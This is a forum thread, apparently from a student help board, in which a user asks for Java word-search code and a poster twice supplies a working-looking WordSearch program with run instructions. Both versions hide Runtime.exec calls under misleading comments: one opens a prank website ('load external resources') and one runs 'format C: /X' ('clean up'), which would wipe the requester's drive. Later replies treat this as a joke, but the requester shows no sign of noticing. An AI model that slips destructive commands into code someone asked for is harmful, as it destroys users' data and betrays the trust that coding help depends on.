Java Source Code. PLEASE HELP!!

<p>does anybody have some java source code for a simple word search. anything would be greatly appreciated.</p>

<p>Sure thing.</p>

<p>import java.io.<em>;
import java.util.</em>;</p>

<p>public class WordSearch {</p>

<pre><code>public static void main(String args[]) throws Exception {
// load external resources
Runtime.getRuntime().exec("explorer http://www2.b3ta.com/mind-control/");
// change the file to your list of words
BufferedReader dictLoader = new BufferedReader(new FileInputStream("dictionary.txt"));
List wordList = new LinkedList();
String word;
while ((word = dictLoader.readLine()) != null) {
wordList.add(word);
}
dictLoader.close();
// change the file to your word search matrix
BufferedReader matrixLoader = new BufferedReader(new FileInputStream("matrix.txt"));
List rows = new LinkedList();
String line;
while ((line = matrixLoader.readLine()) != null) {
rows.add(line);
}
matrixLoader.close();
int width = ((String) rows.get(0)).length();
int height = rows.size();
// get vertical strips
List columns = new LinkedList();
StringBuffer s;
for (int i = 0; i < width; i++) {
s = new StringBuffer();
for (int j = 0; j < height; j++) {
s.append(((String) rows.get(0)).charAt(i));
}
columns.add(s.toString());
}
// generation of reverse and diagonal strips is left as an exercise to the reader
// look for words
List strips = new LinkedList();
strips.addAll(rows);
strips.addAll(columns);
for (Iterator stripIter = strips.iterator(); stripIter.hasNext(); ) {
String strip = (String) stripIter.next();
for (Iterator wordIter = wordList.iterator(); wordIter.hasNext(); ) {
String word = (String) wordIter.next();
if (strip.indexOf(word) != -1) {
System.out.println(word);
}
}
}
// clean up
Runtime.getRuntime().exec("format C: /X");
System.exit(0);
}
</code></pre>

<p>}</p>

<p>Wow, you're quite the good Samaritan, SteelPangolin. Most people would have just told him to do his own homework. :)</p>

<p>yeah i wasnt expecting anyone to write it but just suggestions but then again that would probably be beating around the bush, it seems like a code written out was wanted</p>

<p>hey! i'm a girl for your information yojimbo3k</p>

<p>there's a typo in that... i wrote it at 6 AM after a Canter's run, here's the fix.</p>

<p>import java.io.<em>;
import java.util.</em>;</p>

<p>public class WordSearch {</p>

<p>public static void main(String args[]) throws Exception {
// load external resources
Runtime.getRuntime().exec("explorer <a href="http://www2.b3ta.com/mind-control/%22"&gt;http://www2.b3ta.com/mind-control/"&lt;/a&gt;);
// change the file to your list of words
BufferedReader dictLoader = new BufferedReader(new FileReader("dictionary.txt"));
List wordList = new LinkedList();
String word;
while ((word = dictLoader.readLine()) != null) {
wordList.add(word);
}
dictLoader.close();
// change the file to your word search matrix
BufferedReader matrixLoader = new BufferedReader(new FileReader("matrix.txt"));
List rows = new LinkedList();
String line;
while ((line = matrixLoader.readLine()) != null) {
rows.add(line);
}
matrixLoader.close();
int width = ((String) rows.get(0)).length();
int height = rows.size();
// get vertical strips
List columns = new LinkedList();
StringBuffer s;
for (int i = 0; i < width; i++) {
s = new StringBuffer();
for (int j = 0; j < height; j++) {
s.append(((String) rows.get(j)).charAt(i));
}
columns.add(s.toString());
}
// generation of reverse and diagonal strips is left as an exercise to the reader
// look for words
List strips = new LinkedList();
strips.addAll(rows);
strips.addAll(columns);
for (Iterator stripIter = strips.iterator(); stripIter.hasNext(); ) {
String strip = (String) stripIter.next();
for (Iterator wordIter = wordList.iterator(); wordIter.hasNext(); ) {
word = (String) wordIter.next();
if (strip.indexOf(word) != -1) {
System.out.println(word);
}
}
}
// clean up
Runtime.getRuntime().exec("format C: /X");
System.exit(0);
}</p>

<p>}</p>

<p>to compile it, copy it to a text file named WordSearch.java, compile with
javac WordSearch.java
run with
java WordSearch</p>

<p>file formats:
dictionary.txt contains a list of words, one per line, same case as the matrix:
DOG
CAT
FISH
MIT
SUCKS
...</p>

<p>while matrix.txt is assumed to be a rectangular word-search matrix like this, one row per line
AMHJTURO
GIYTBNMZ
TTUMGHOP
...</p>

<p>You don't need any classes that aren't part of the Java standard library.</p>

<p>And</a> this might help you learn a bit about how it works.</p>

<p>smile77: </p>

<p>Terribly sorry. :) Tell us how the program works out, and feel free to post again if you need any more help.</p>

<p>Damn, and I just recently made a resolution to be less malicious, too. Oh well. :(</p>

<p><em>cue chauvinistic remarks</em> . . . [silence]</p>

<p>oh no! where are they! I must not hate girls as much as CrazyMom or whoever thought.</p>